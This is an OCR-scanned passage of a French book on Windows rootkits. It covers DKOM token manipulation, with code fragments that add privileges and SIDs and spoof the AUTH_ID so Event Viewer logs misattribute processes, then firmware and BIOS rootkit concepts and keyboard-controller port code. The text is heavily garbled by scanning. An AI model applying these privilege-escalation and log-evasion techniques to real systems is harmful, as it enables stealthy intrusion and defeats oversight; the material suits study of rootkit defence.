sid and attributes doit etre actualise puisque nous avons deplace ce dernier en 
memoire : 

// Apporte les dernieres modifications au jeton *(int *)(token + 
SIDCOUNTOFFSET) += 1; 

*(int *) (token + PRIVCOUNTOFFSET) = i_LuidsUsed; 

*(PSID_AND_ATTRIBUTES *) (token + SIDADDROFFSET) = 

(PSID_AND_ATTRIBUTES) ( (DWORD) varbegin + (i_spaceUsed) ) ; 
ExFreePool(varpart) ; break; 

Le rootkit peut a present aj outer n’importe quels privileges et SID de groupes a 
n’importe quel processus sur le systeme. L’ajout de SID a une consequence 
interessante dans le contexte de 1’ analyse forensique, comme nous allons le voir a la 
prochaine section. 
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Faire mentir I'Observateur cTevenements 

Vous savez comment dissimuler des processus et obtenir un acces privilegie, mais 
vous ne savez pas qui vous observe pendant que vous accomplissez ces activites. Un 
administrateur dispose de nombreux moyens differents pour detecter la creation de 
processus. Dans le noyau, un programme de securite peut meme enregistrer une 
fonction de callback a cet effet (laquelle est neutralisable, mais nous n’aborderons pas 
les details dans ce livre). 

Pour observer ce qui se passe sur une machine, une approche plus simple pour 
1’ administrateur est d’activer une journalisation detaillee des processus, auquel cas la 
creation de nouveaux processus sera consignee dans le journal d’evenements de 
Windows. Ce journal inclut le nom du processus, le PID parent et le nom de 
l’utilisateur proprietaire du processus parent et qui a done cree le nouveau processus. 
Cette section explique comment modifier un jeton pour rendre 1’ identification du 
processus correspondant plus difficile dans I’Observateur d’evenements {Event 
Viewer). 

A 1’ offset 0x18, le jeton d’un processus comprend un identifiant d’authentification, ou 
AUTH_ID (cet offset est le meme dans toutes les versions du systeme d’ exploitation). 
Souvenez-vous des LUID, qui sont censes etre uniques localement seulement. Eh bien, 
certains sont neanmoins codes en dur dans le DDK dans un fichier . h ! II s’agit des 
LUID suivants : 


ttdefine SYSTEM_LUID #define 

0x000003e7; 

// 

{ 

0x3e7, 0x0 } 

AN0NYM0US_L0G0N_LUID #define 

0x000003e6; 

// 

{ 

0x3e6,0x0 } 

LOCALSERVICE_LUID #define 

0x000003e5; 

// 

{ 

0x3e5, 0x0 } 

NETWORKSERVICE LUID 

0x000003e4; 

// 

{ 

0x3e4, 0x0 } 


Vous pouvez remplacer le AUTH ID de n’importe quel processus par un de ces LUID 
connus. Les AUTH_ID sont uniques pour chaque connexion ou session. Le systeme 
les utilise parfois pour associer un nombre a une session a laquelle est deja associe un 
nom. 

— Attention 

Soyez prudent lorsque vous modifiez le AUTHJD d'un jeton de processus. Si vous le remplacez 
par un LUID pour lequel il n'existe pas de session, vous provoquerez un ecran bleu. 
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Lorsque le suivi detaille des processus a ete active, un evenement sera enregistre dans 
le journal pour chaque processus cree, ressemblant a ce qui est illustre a la Figure 7.6. 
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Figure 7.6 

Evenement de creation de processus dans I'Observateur d'evenements. 


Dans la section de description de la figure, on peut voir que l’utilisateur qui a ouvert la 
session est Fadministrateur, que le domaine est F1BG-W2KS-0 et que l’identifiant de 
session (c’est-a-dire l’AUTHID) est 0x,0xi066C. Cette entree du journal revele que 
Fadministrateur (cette identite est obtenue a partir de F AUTHJD) a lance le processus 
Regedt 32 . exe. 

Examinons maintenant les informations que renvoie I’Observateur d’evenements 
apres que nous avons modifie le jeton du processus parent en rcmpla^ant son 
AUTFI_ID par le LUID du processus System ( 0 x 3 E 7 , 0x0) et son SID proprietaire 
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par le SID du processus System. Le SID proprietaire est le premier SID de la liste. La 
section precedente a explique comment changer des SID. Nous 1 ancons de nouveau 
Regedt32.exe a partir de 1’ invite de commande. L’ entree resultante est presentee a la 
Figure 7.7. Cette fois, l’Observateur d’evenements affiche des informations differentes. 
Dans la section de description, l’utilisateur est maintenant HBG-W2KS-0$, soit un 
alias pour le processus System, et l’identifiant de session est identique a la valeur 
AUTH ID que nous avons specifiee. A l’aide de cette technique, le rootkit peut donner 
l’impression que n’importe quel processus appartient a un autre utilisateur. 
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Figure 7.7 

Evenement de creation de processus a pres modification des identifiants AUTHJD et 
sin 
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Conclusion 

Dans ce chapitre, vous avez decouvert comment modifier certains des objets dont le 
noyau depend pour assurer ses fonctions de comptabilisation et de reporting. Le rootkit 
peut maintenant dissimuler des processus et modifier leurs privileges d’acces pour 
pouvoir disposer du meme niveau d’acces que le processus System. Ces techniques 
DKOM sont tres difficiles a detecter et extremement puissantes. Toutefois, elles 
presentent aussi le risque non negligeable de faire planter la machine. 

DKOM ne se limite pas a ce qui a ete presente ici. Ces techniques peuvent aussi etre 
appliquees a la dissimulation de ports reseau en modifiant les tables des ports ouverts 
maintenues par Tcpip.sys a des fins de comptabilisation, pour ne citer qu’un exemple. 

Pour modifier des objets du noyau et retrouver par retro-ingenierie ou ils sont utilises, 
des outils comme Softlce, WinDbg, IDA Pro et Microsoft Symbol Server sont 
inestimables. 
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Tout uu long de votre vie, avancez quotidiennement, devenant plus capable 
qu ’hier, plus capable qu ’aujourd 'hid. Cela n ’ a pas de fin. 

- Hagakure 


Un scenario : 

L ’intrus se glisse le long du mur vers le chariot que le concierge a laisse au bout du 
corridor. Ses yeux avisent un trousseau de cles. II jette un rapide coup d ’oeil au coin. 
"Parfait, le concierge est au bout du corridor en train de nettoyer le bureau d’un 
docteur", pense-t-il. II souleve delicatement la chaine oil pendent les cles et se retire 
dans la penombre du couloir. Apres avoir tourne au coin du mur, il s ’arrete devant une 
porte. II essaye d’ouvrir le verrou. Cela ne prend pas longtemps. Une fois la porte 
ouverte, il retoume vers le chariot et replace les cles. 

Le bureau est sombre a l ’exception d ’un ecran d ’ordinateur au fond de la piece. Apres 
avoir place l ’ecran et le clavier au sol, il s ’assied dans le renfoncement du bureau. 
C’est un bon endroit, ses agissements ne sont pas visibles du couloir. 

L ’ecran de login est verrouille, mais cela n 'a pas d ’importance. Il sort un CD-ROM de 
sa veste, l ’insere dans la machine et redemarre celle-ci. Un message apparait : 
" Pressez sur n ’importe quelle touche pour demarrer a partir du CD. .. " Il appuie sur 
la barre d ’espacement. Le rootkit sur le CD infecte alors le BIOS et modifie egalement 
la carte Ethernet de l ’ordinateur. Ce n ’est rien de tres sophistique a ce stade, juste un 
sniffeur de mots de passe. Mais il restera la pendant longtemps, me me 
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apres que Vequipe informatique "si brillante" aura reinstalls Windows. "La machine 
m ' appartient" se dit l ’intrus avec un sourire sur le visage. 

Trente minutes plus tard, tout est remis a sa place et l ’ordinateur a etc fraichement 
reinitialise, ce que la victime ne remarquera pas. C’est un systeme Windows intact, 
comme de nombreux autres dans le monde. II contient line carte mere Intel et une carte 
Ethernet 3Com do tee dun processeur embarque. Ce qui rend cet ordinateur si 
important est qu ’il reside sur le meme reseau commute qu ’une paire de serveurs Sun 
E10K situes au bout du corridor, des serveurs qui gerent des centaines de gigaoctets 
de donnees de travaux de recherche sur la proteine. Les donnees valent des millions de 
dollars. 

Dans le monde reel, une attaque visant la capture de mots de passe necessiterait 
vraisemblablement des modifications du noyau en memoire en plus de certaines 
manipulations specifiques au niveau materiel. En modifiant seulement la carte reseau, 
il serait deja possible de sniffer des mots de passe (ou le resultat de leur hachage). Un 
rootkit comme celui du scenario peut rester en place pendant longtemps. En imaginant 
que l’equipe informatique installe une nouvelle version de Windows ou meme un 
Service Pack, il devrait pouvoir continuer de fonctionner. En revanche, si le rootkit 
avait introduit des modifications du noyau en plus de celles du microcode, elles 
seraient alors annulees par une nouvelle installation de systeme ou de Service Pack. 

Appliquer des changements directement au niveau du BIOS et du microcode est une 
operation risquee et specifique a une plate -forme. Avec une planification soignee, un 
tel rootkit serait toutefois difficilement detectable. Changer le microcode d’une carte 
Ethernet intelligente requiert neanmoins d’ avoir des informations tres detaillees sur la 
carte. Des renseignements de ce type peuvent etre obtenus par voie de retro-ingenierie, 
de documentation ou aupres d’une personne connaissant le materiel specifique. De 
telles modifications n’ont pas besoin d’etre effectuees sur place, directement sur le lieu 
de travail de l’utilisateur. Elies peuvent egalement etre apportees en interceptant un 
materiel lors de son expedition. 

S’attaquer a un niveau aussi bas semble inutile. Dans de nombreux cas, cela est vrai. 
Lors d’une attaque visant un ordinateur personnel, le rootkit peut tirer parti d’un grand 
nombre de programmes et de fonctions deja installes ou actifs sur 1’ ordinateur. La 
plupart de ces elements peuvent gerer eux-memes les acces materiels a ce niveau. 
Aussi, l’attaquant n’aura pas besoin de le faire lui-meme et il semble logique d’utiliser 
ce qui existe deja. 
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Cependant, tous les ordinateurs ne sont pas des ordinateurs personnels comme nous les 
connaissons, offrant une telle richesse logicielle. II y a aussi de nombreux systemes 
embarques qui executent de petites taches specifiques. II s se trouvent partout autour de 
nous, font partie de notre quotidien et nous ne les remarquons pas la plupart du temps. 

Un tel systeme peut se composer de quelques puces seulement et d’un programme de 
controle. II peut disposer d’un "micro-cerveau" pour gerer les elements importants, tels 
qu’un moteur d’avancement, pour reguler la tension, la vitesse d’un moteur electrique, 
les mouvements d’un mecanisme, de petites lumieres clignotantes ou des interfaces 
vers differents types de cablage. II semble logique qu’il y ait quelque part un 
programme de controle pour gerer tout cela. Generalement, le logiciel reside quelque 
part dans une memoire sur une puce et est utilise par un processeur central. Du point 
de vue d’un attaquant, le terme cle est ici processeur. Si un appareil possede un petit 
processeur pour le maintenir operationnel la nuit, il est alors possible d’y executer un 
programme. Comme il est controle par logiciel, il y a la possibility d’y placer un petit 
root- kit. Ensuite, 1’ introduction de modifications dans le microcode pourra aj outer des 
fonctionnalites de rootkit. 

Dans ce chapitre, nous etudierons les manipulations materielles et, plus 
specifiquement, les instructions qu’un attaquant doit lire et ecrire a ce niveau. Nous 
couvrirons egalement des questions importantes que 1’ attaquant doit considerer pour 
que ses actions soient indetectables. 

Pourquoi le niveau materiel ? 

Les manipulations materielles sont une lame a double tranchant. D’un cote, elles 
placent le rootkit a un niveau sous-jacent a tout autre element. Il beneficie ainsi d’un 
plus grand controle et d’une plus grande furtivite (de la plus grande dont il puisse 
disposer). Il peut acceder directement aux composants materiels, tels que les 
controleurs de disques, les cles USB, les processeurs ou la memoire de microcode. Par 
ailleurs, agir a ce niveau tres specifique est plus complexe. Un rootkit est alors ccngu 
pour un composant precis et ne sera pas tres portable. 

Un microcode est un programme tres specialise et, pour 1’ attaquant, il s’agit toujours 
de traiter avec un rootkit logiciel. Le materiel tend a etre "reticent" et demande que les 
choses soient realisees de maniere tres specifique. 
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Meme deux composants ayant un meme numero de modele peuvent differer dans le 
detail de leur mecanisme. Le numero de modele n’est qu’une etiquette commerciale. 
Seul le numero de serie peut permettre de determiner une version de materiel. Comme 
son nom l’indique, un numero de serie permet de remonter jusqu’ a une serie produite, 
des modifications ou des corrections pouvant etre apportees entre deux series ou lots de 
fabrication. 

En raison de ces particularites ou specificites, et selon la complexity de son objectif, un 
attaquant se demandera d’abord si cela vaut la peine d’acceder au materiel. Un objectif 
simple, tel que la copie d’un paquet ou la modification d’un bit ici et la, est le mieux 
servi par le materiel. Un bon exemple est un module materiel qui attend jusqu’ a ce 
qu’il voie une sequence d’octets specifique avant de faire planter le systeme. En 
revanche, des programmes de backdoor ou des shells utilisateurs complexes devraient 
etre ecrits au moyen d’un programme de haut niveau, par exemple dans le mode noyau 
ou utilisateur, et ne recourir qu’avec parcimonie a certaines astuces materielles, si 
meme elles etaient necessaires. 

Ces reserves etant faites, nous allons approfondir vos connaissances en partant du 
principe que nous souhaitons acceder au materiel a l’aide d’un rootkit. Nous traiterons, 
entre autres choses, de la modification du microcode, de la fag on d’adresser le materiel 
et des questions de temporisation. Nous creerons egalement un exemple de rootkit 
pouvant s’ interfacer avec le controleur de clavier. 

Modification d'un microcode 

De par sa conception, un processeur commence son fonctionnement en executant un 
programme stocke dans une puce memoire. Par exemple, un PC execute le BIOS 
lorsqu’il est demarre. Les systemes materiels presentent de grandes differences, mais 
ils partagent un point commun : un code d ’amorgage doit etre active, quelque part, et 
d’une certaine maniere. Ce code d’amorqage, ou bootstrap, est parfois egalement 
appele microcode ou firmware. II est non volatile, c’est-a-dire qu’il n’est pas efface de 
la memoire lorsque l’ordinateur est eteint. Ce pourrait etre un point de depart pour un 
rootkit. 

En partant du principe que les fonctionnalites du microcode sont tres importantes pour 
le fonctionnement d’un systeme, un rootkit devrait non pas en supprimer mais en 
ajouter (voir Figure 8.1). Ceci peut etre simple si vous dissequez le microcode par 
retro-ingenierie dans un programme tel que IDA-Pro ( www.data- rescue.com) et 
trouvez un emplacement convenable pour patcher le flux d’execution. 
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La taille de la memoire du microcode est limitee. Aussi, si un rootkit n’est pas 
suffisamment petit pour tenir dans l’espace non utilise limite, il ecrasera une partie du 
microcode existant. Dans ce cas, il vaut mieux qu’il s’agisse de fonctionnalites qui ne 
soient jamais utilisees ou d’une section pouvant etre ecrasee. 


Figure 8.1 
Un rootkit 
ajoute de 
nouvelles 
fonctionnalites a 
un microcode 


Processeur 






Le placement d’un rootkit dans un microcode demande d’ecrire directement dans une 
puce. Dans le cas d’un PC, la demarche la plus evidente est de modifier le BIOS. Ceci 
peut etre realise a l’aide d’un dispositif exteme ou d’un programme embarque sur une 
carte. Un dispositif exteme requiert un acces physique a la cible. L’approche logicielle 
necessite l’emploi d’un programme de chargement (loader). Cette demiere est la 
methode la plus couramment appliquee aux PC. Un exploit logiciel ou un cheval de 
Troie peut etre utilise pour introduire le programme de chargement, lequel peut ensuite 
modifier le microcode. 

Si le composant cible est un routeur ou un systeme embarque, un programme de 
chargement sera difficile a utiliser. De nombreux composants materiels ne sont pas 
corpus pour executer des programmes tiers et ne possedent pas de mecanismes pour 
demarrer plusieurs processus. Certains modules disposent parfois d’une fonctionnalite 
de mise a jour permettant le chargement d’un nouveau code dans la puce, ce qui peut 
alors etre exploite par un rootkit. 

Acces au materiel 

Le logiciel a ete loue pour ses facultes de calcul et les services rendus en la matiere. 
Une autre chose qu’un programme fait egalement tres bien est de deplacer des donnees 
d’un endroit vers un autre. En fait, cette capacite est parfois meme plus 
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importante que celle de pouvoir resoudre des problemes mathematiques. Personne 
n’ ignore la vitesse a laquelle des donnees peuvent se deplacer. L’industrie s’est 
efforcee depuis des decennies d’ameliorer la vitesse des composants : bus, unites de 
stockage, processeurs, etc. 

La plupart des elements materiels d’un ordinateur peuvent etre pilotes a l’aide de 
programmes gerant l’echange de donnees et d’ instructions entre ces elements. Pour 
cela, la plupart des composants possedent une puce electronique pouvant etre adressee 
d’une maniere ou d’une autre. 

Adresses materielles 

L’echange de donnees avec une puce necessite l’emploi d’une adresse. Generalement, 
une telle adresse est connue a l’avance et est cablee, ou gravee, dans la puce. Le bus 
d’adressage se compose de nombreuses liaisons, certaines etant reliees a differentes 
puces. Aussi, lorsque vous selectionnez une adresse pour ecrire des donnees, vous 
choisissez en fait une certaine puce. 

Une fois selectionnee, la puce lit les donnees a partir du bus de donnees, et c’est elle 
qui controle le materiel en question. La Figure 8.2 illustre ces deux operations de 
selection et de lecture. 


Figure 8.2 

Le bus d'adressage 
selectionne une 
puce d'un controleur 
materiel, puis les 
donnees sont lues. 



La plupart des dispositifs materiels possedent une sorte de puce controleur exposant un 
emplacement de memoire adressable, parfois appele un port. La lecture et l’ecriture sur 
un port peut necessiter des codes d’ operations, ou opcodes, speciaux. 
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Certains processeurs disposent d’un jeu d’ instructions qui leur est propre et qui doit 
etre utilise pour communiquer avec les ports materiels. 

Dans 1’ architecture x86, l’echange de donnees avec des ports s’effectue au moyen des 
instructions IN et OUT, pour respectivement lire et ecrire. Certaines puces sont aussi 
mappees en memoire et sont alors accessibles a l’aide d’instmctions habituelles 
d’ assignation, telles que MOV sur le x86. 

Independamment du jeu d’ instructions utilise, une adresse est requise. C’est de cette 
fagon que la carte mere saura vers quel emplacement router les donnees. 

L’adressage du materiel peut etre un sujet complexe, et connaitre une adresse n’est 
qu’une partie du probleme. Les sections suivantes abordent les defis qui peuvent se 
presenter. 

Acces materiel vs acces a la RAM 

Un composant materiel possede un comportement particulier different de celui de la 
memoire RAM. Si vous ecrivez a une adresse et lisez a partir de celle-ci, vous n’etes 
pas sur de lire ce que vous venez d’ecrire. L’ operation de lecture doit etre traitee 
differemment de celle d’ecriture. Ceci est du a un mecanisme special de selection 
appele latching. 

A l’interieur d’une puce, ce mecanisme sert a selectionner un registre different selon 
qu’il s’agisse d’une operation de lecture ou d’ecriture. A la Figure 8.3, une operation 
ecrit dans le registre 2 alors que la lecture utilise le registre 1 . 


Figure 8.3 
Le mecanisme de 
latching entre deux 
registres pour les 
operations de 
lecture et 
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De I'importance de la synchronisation 

Lorsque vous ecrivez sur une puce flash, chaque operation d’ecriture peut necessiter un 
certain temps pour se terminer. Si vous ecriviez a partir d’une boucle tres courte, vous 
pourriez remarquer, par exemple, que seul un octet sur cinq serait pris dans 1’ operation 
d’ecriture. La raison est qu’il faut attendre un certain temps pour que L operation 
precedente se termine avant de passer au prochain octet. Generalement, un controleur 
ou une puce memoire exige l’ecoulement d’un certain intervalle, aussi court soit-il, 
avant d’ accepter la prochaine instruction, generalement mesure en microsecondes. 

Dans le noyau Windows, vous pouvez utiliser la fonction KeStallExecution- 
Processor pour provoquer une legere "temporisation" du processeur pendant un 
certain nombre de millisecondes. 


Le bus d'entree/sortie 

La puce controleur d’E/S est le coeur et l’ame de la machine. Comprendre son 
fonctionnement permet d’acceder a n’importe quel composant materiel d’un systeme. 
Le processeur (ou plusieurs processeurs) partage generalement un meme bus avec la 
memoire (RAM). Les cartes d’ extension et les peripheriques sont generalement relies 
par un bus distinct, et la seule fatjon d’acceder a ces autres bus est par Lintermediaire 
du controleur (voir Figure 8.4). 


Figure 8.4 

Une puce "bridge " 
controle I'acces a 
un bus secondaire 
de peripheriques. 


| Processeur 


| Memoire principale 


i 

Bus du processeur 


I Controleur 
; "bridge ” 1 - 


Bus de peripheriques 
®|f<: 


Plusieurs bus de peripheriques sont accessibles : 
B le bus PCI ; 
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■ le bus AGP ; 

■ lebusAPIC; 

■ les bus EISA et ISA ; 

B le bus HyperTransport ; 

■ le bus LPC ; 

H le bus FSB (Front Side Bus ) ; 

B le bus I2C. 

Certains peripheriques sur le bus ne peuvent repondre qu’aux requetes initiees par le 
processeur. D’autres peuvent en emettre de fagon independante. Un peripherique qui 
se signale de cette fag on est appele V initioteur. Certains peripheriques "ecoutent" 
toutes les transactions intervenant sur le bus. Un peripherique se comporte ainsi 
lorsqu’il possede une memoire cache locale et doit detecter lorsque le contenu d’une 
adresse memoire est modifie. Par exemple, la memoire principale est frequemment la 
cible de requetes, elle n’initie pas de requetes mais ecoute le bus au cas ou un autre 
processeur ou peripherique PCI modifie une quelconque zone en cache. 

La Figure 8.5 illustre un exemple de disposition des composants elementaires d’une 
carte mere ; il existe d’ autres types de configurations. Certaines puces multifonctions 
specialises peuvent remplacer de larges portions de la carte mere. Par exemple, les 
puces ICH (I/O Controller Hub ) d’Intel sont connues pour se charger de nombreuses 
taches. Elies sont reliees au bus PCI, peuvent gerer les transferts USB, IDE et audio, et 
elles peuvent aussi etre reliees a un bus LPC (Low Pin Count ) supplementaire. 

Lorsque vous travaillez avec des bus, souvenez-vous qu’une puce controleur peut 
traduire l’adresse memoire sur un bus en une adresse totalement differente sur un autre 
bus. Chaque bus possede une methode specifique de gestion de l’adressage. Si vous 
initiez une transaction a partir d’un peripherique, elle devra etre dans le format attendu 
par le bus auquel le peripherique est relie. 
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! Processeurs 1 


Controleur video 


I Memoire video locale | 


i Controleur IDE ■ 


# 


— 1 Bus AGP i 


Southbridge 


il / 


Bus FSB 

E/S pour I clavier, 
souris,' ports serie 


Figure 8.5 

Un exemple de configuration de carte mere. 


Northbridge 


I Ethernet ! I SCSI 


Memoire principale ; 



Acces au BIOS 

Dans la majorite des cas, un BIOS n’est utilise que pour demarrer un ordinateur. Les 
systemes d’ exploitation mod ernes font aujourd’hui une utilisation limit ee des 
fonctions qu’un BIOS peut offrir. Apres 1’ execution du code d’ anion; age et 
1’ identification des disques durs, le BIOS transfere le controle au bloc de code situe 
sur le disque, ou la partition, de demarrage. Ce petit programme prend le controle et 
lance le systeme d’ exploitation. 

Les puces de BIOS actuelles sont flashables, ce qui signifie qu’elles peuvent etre 
mises a jour par voie logicielle. Un virus connu, appele CIH, a ete congu pour detruire 
le BIOS sur un ordinateur. II a ete destructeur et couteux pour les personnes qui en ont 
ete victimes. Au moment de la redaction de cet ouvrage, aucun rootkit rapporte ne 
s’etait encore attaque au BIOS, mais c’est une cible envisageable. 
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Acces aux dispositifs PCI et PCMCIA 

II existe de nombreux composants pouvant etre relies aux bus PCI et PCMCIA, tels 
que les cartes d’ interface reseau ou les peripheriques extemes. Les peripheriques PCI 
peuvent disposer de leur propre BIOS embarque. Un BIOS PCI est egalement un 
endroit ou un rootkit pourrait venir se loger. Une autre possibilite est l’emploi d’un 
dispositif pouvant etre insere (tel qu’une carte PCMCIA ou une cle USB) pour 
modifier la memoire principale afm d’introduire un rootkit 1 . 

Un environnement materiel presente de nombreux aspects complexes, davantage que 
ce que Ton s’attendrait a rencontrer. II offre egalement un fort potentiel pour le 
developpement de rootkits, et cela pourrait etre le sujet d’un livre a part entiere. 

Acces au controleur de clavier 

Vous avez maintenant une idee approximative de la fa£on dont les acces materiels 
peuvent etre realises. Nous allons approfondir vos connaissances par le biais d’un 
exemple simple fonctionnant avec le controleur de clavier. 

Le clavier est l’interface principale entre l’utilisateur et l’ordinateur. II suffit de voir le 
nombre de touches pour s’ assurer de sa complexity. C’est aussi la source de nombreux 
secrets, le mot de passe n’etant pas des moindres. Au-dela du mot de passe, il est aussi 
a l’origine de toutes les communications en ligne, telles que par e-mail ou messagerie 
instantanee. En tant que source principale de toutes les informations foumies par 
l’utilisateur, le clavier est un objet de convoitise que beaucoup veulent espionner. II 
existe differentes talons d’intercepter la frappe. Le sujet de notre chapitre etant le 
materiel, nous examinerons comment realiser cela en utilisant le controleur. 

Le controleur de clavier 8259 

II est facile de controler une puce a condition de connaitre son adresse. Generalement, 
la procedure se limite au simple emploi des instructions IN et OUT. Le controleur de 
clavier sur la plupart des PC est adressable aux adresses 0x60 et 0x64. Comme deja 
introduit plus haut, ces emplacements sont parfois appeles des ports, chacun 
foumissant un acces a la puce. 


1 . Cette attaque a ete demontree sur un port Firewire sous certains systemes d’exploitation. Au moment de la 
preparation de ce livre, certains resultats de recherches concernant cette approche commenfaient a etre 
publies. 
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En utilisant le DDK, vous disposez de quelques macros pour lire et ecrire sur un port : 
READ_PORT_UCHAR( ... ); 

WRITE_PORT_UCHAR( ... ); 

Une alternative est d’utiliser les directives du langage assenrbleur : 

IN 

OUT 

Que pouvons-nous done faire avec le controleur de clavier ? La premiere idee evidente 
est de lire la frappe. Vous pouvez aussi placer des caracteres dans le tampon du clavier 
ou modifier l’etat des LED. C’est ce que nous allons faire. En jouant avec les 
indicateurs lumineux du clavier, vous pouvez tout de suite verifier les resultats de votre 
travail. 

Modification des LED du clavier 

La commande pour activer les LED est exED. L’octet 0xED doit etre le premier envoye 
au controleur pour que cela fonctionne. II est envoye au port 0x60 et doit etre suivi 
immediatement d’un autre octet. Ce dernier pernret d’indiquer les LED selon la valeur 
de ses 3 bits de plus faible poids. 

La Ligure 8.6 illustre l’octet de donnees qui est utilise avec la commande. 


Figure 8.6 

L' octet de donnees 

utilise avec la 



Voici une methode simple d’ activation de ces trois LED : 

WRITE_PORT_UCHAR( 0x60, 0xED ); 

WRITE_PORT_UCHAR( 0x60, 00000111b); 

Le problenre avec cette approche est qu’elle n’ attend pas que le clavier soit pret a 
recevoir les comnrandes. S’il est occupe a gerer d’autres taches, elle peut causer des 
problemes. Avec le materiel, il faut souvent attendre que le controleur soit pret. Si vous 
tentez d’envoyer des donnees alors qu’il ne Test pas, rien ne se passe generalement. 
Cependant, il peut arriver qu’une confusion se produise et qu’un plantage s’ensuive, ce 
qui est plus ennuyeux. 
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Le code suivant illustre une methode plus conviviale. Notez que toute instruction 
DbgPrint est mise en commentaire. Ceci est tres important. Si vous utilisez cette 
instruction a Linterieur de petites routines ou de gestionnaires d’ interruptions, des 
problemes peuvent se poser. Vous pouvez etre chanceux et parvenir a ce que cette 
instruction fonctionne sans encombre, mais vous pouvez aussi risquer de geler le 
systeme ou provoquer un plantage avec apparition de 1’ ecran bleu. 


Rootkit.com 

L'exemple de driver de clavier peut etre telecharge a I'adresse 

www.rootkit.com/vault/hoglund/basic hardware.zip . 


Notre exemple de driver utilise un temporisateur pour modifier l’etat des LED apres 
ecoulement d’un intervalle de quelques millisecondes. II est defmi en tant que variable 
gTimer. Lorsqu’il expire, un appel de procedure differe, ou DPC, est planifie. II est 
defini sous le nom gDPCP. Le DPC est en realite un appel callback dans la fonction 
Time rDPC ( ) que nous definissons et controlons : 

PKTIMER gTimer; 

PKDPC gDPCP; 

UCHAR g_key_bits = 0; 

// Octets de commande 
ttdefine SET_LEDS 0xED 

#define KEY_RESET 0xFF 

// Reponses du clavier 

ttdefine KEY_ACK 0xFA // Accuse reception 

ttdefine KEY_AGAIN 0xFE // Nouvel envoi 

Les constantes symboliques utilisees pour decrire les donnees echangees a l’aide des 
deux ports du clavier sont status byte, command byte et data byte. Le terme correct a 
utiliser depend de l’operation voulue (voir Figure 8.7). 


Figure 8.7 

Les ports sur le 
contrdleur 
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II Ports du controleur 8042 

II La lecture sur le port 60 est appelee STATUS_BYTE. 

II L'ecriture sur le port 60 est appelee COMMAND_BYTE . 

II La lecture et l'ecriture sur le port 64 sont appelees DATA_BYTE. PUCHAR 
KEYBOARD_PORT_60 = (PUCHAR) 0x60 ; 

PUCHAR KEYB0ARD_P0RT_64 = (PUCHAR)0x64 ; 

// Bits de registre d'etat #define IBUFFER_FULL 0X02 ttdefine 
OBUFFER_FULL 0x01 // Flags pour les LED du clavier #define 
SCR0LL_L0CK_BIT (0X01 « 0) 

#def ine NUMLOCK_BIT (0x01 « 1) 

#def ine CAPS_LOCK_BIT (0x01 « 2) 

La fonction WaitForKeyboard execute une boucle pour temporiser, en lisant le port 0x64 
jusqu’a ce que le flag ibuffer_full soit mis a 0 . Le clavier est alors pret a recevoir 
des commandes. Comme introduit plus haut, l’instruction DbgPrint a ete mise en 
commentaire pour prevenir toute instability L’emploi de KeStallExe- cutionProcessor 
permet de faire temporiser le processeur pendant quelques millisecondes 1 . Ce 

"pietinement" du processeur donne au clavier la possibilite de finir la tache en cours : 
ULONG WaitForKeyboardQ 
{ 

char _t[255]; 

int i = 100; // Nombre d' iterations de la boucle 
UCHAR mychar; 

//DbgPrint("waiting for keyboard to become accessible\n"); do 

{ 


mychar = READ_PORT_UCHAR( KEYB0ARD_P0RT_64 ); 
KeStallExecutionProcessor(50) ; 

//_snprintf (_t , 253^ "WaitForKeyboard :: read byte %02X // 
from port 0x64\n"j mychar); 

//DbgPrint (_t); 

if ( ! (mychar & IBUFFER_FULL) ) break; // Si le flag est a 0, 

// le programme se poursuit. 

} 

while (i--); 

if(i) return TRUE; return FALSE; 

} 


1 . II est recommande de ne pas utiliser KeStallExecutionProcessor pendant plus de 50 microsecondes. 
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Si le tampon contient des caracteres, la fonction DrainOutputBuffer en prelevera toutes 
les donnees : 

// Appeler WaitForKeyboard avant d'appeler cette fonction, 
void DrainOutputBufferQ 
{ 

char _t[255]; 

int i = 100; // Nombre d' iterations de la boucle 
UCHAR c; 

//DbgPrint("draining keyboard buffer\n"); do { 

C = READ_PORT_UCHAR ( KEYB0ARD_P0RT_64) ; 

KeStallExecutionProcessor(666) ; 

//_snprintf (_t, 253, "DrainOutputBuffer: :read byte // 

%02X from port 0x64\n", c); 

/ /DbgPrint(_t) ; 

if(!(c & OBUFFER_FULL) ) break; // Si le flag est a 0, 

// le programme se poursuit. 

// Recuperation de l'octet dans le tampon de sortie. 

C = READ_PORT_UCHAR ( KEYBOARD_PORT_60 ) ; 

//_snprintf (_t, 253, "DrainOutputBuffer: mead byte // 

%02X from port 0x60\n", c); 

//DbgPrint(_t); 

} 

while ( i — ) ; 

> 

La fonction SendKeyboardCommand attend d’abord que le clavier soit pret, puis vide le 
tampon de sortie et envoie une commande sur le port 60. C’est la fag on conviviale 

d’ envoyer des commandes vers le control eur de clavier : 

// Ecrit un octet sur le port 0x60. 

ULONG SendKeyboardCommand( IN UCHAR theCommand ) 

{ 

char _t[255]; 

if (TRUE == WaitForKeyboard( ) ) 

{ 

DrainOutputBuf f er ( ) ; 

//_snprintf (_t, 253, "SendKeyboardCommand :: sending byte // 

%02X to port 0x60\n", theCommand); 

/ /DbgPrint(_t) ; 

WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand ); 

//DbgPrint ( "SendKeyboardCommand : : sent\n" ) ; 
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{ 

//DbgPnint("SendKeyboandCommand: :timeout waiting for 
keyboard\n" ) ; return FALSE; 

} 


II A faire : attend un ACK ou un RESEND de la part du clavier., 
return TRUE; 

} 

La fonction SetLEDS re£oit un octet en argument dont les 3 bits de poids faible 

indiquent les LED qui doivent etre activees : 

void SetLEDS( UCHAR theLEDS ) 

{ 

// Preparation pour 1' activation des LEDS if (FALSE == 

SendKeyboardCommand( 0xED )) 

{ 

//DbgPrint("SetLEDS: :error sending keyboard command\n"); 

} 

// Envoie les flags pour les LEDS 

if (FALSE == SendKeyboardCommand( theLEDS )) 

{ 

//DbgPrint("SetLEDS: :error sending keyboard command\n"); 



Nous veillons a annuler le temporisateur si le driver est decharge : 

VOID OnUnload( IN PDRIVERJDBIECT DriverObject ) 

{ 

DbgPrint( "ROOTKIT: OnUnload called\n"); 

KeCancelTimer( gTimer ); 

ExFreePool( gTimer ); 

ExFreePool( gDPCP ); 

} 

La fonction timerDPC est appelee a chaque fois que le temporisateur expire. Dans cet 
exemple, la valeur globale g key bits prend successivement toutes les valeurs 

possibles pour les trois LED. Ceci cree un motif lumineux interessant : 

// Appelee periodiquement VOID timerDPC(IN PKDPC 
Dpc, 

IN PVOID DeferredContext , 

IN PVOID sysl, 

IN PVOID sys2) 

{ 

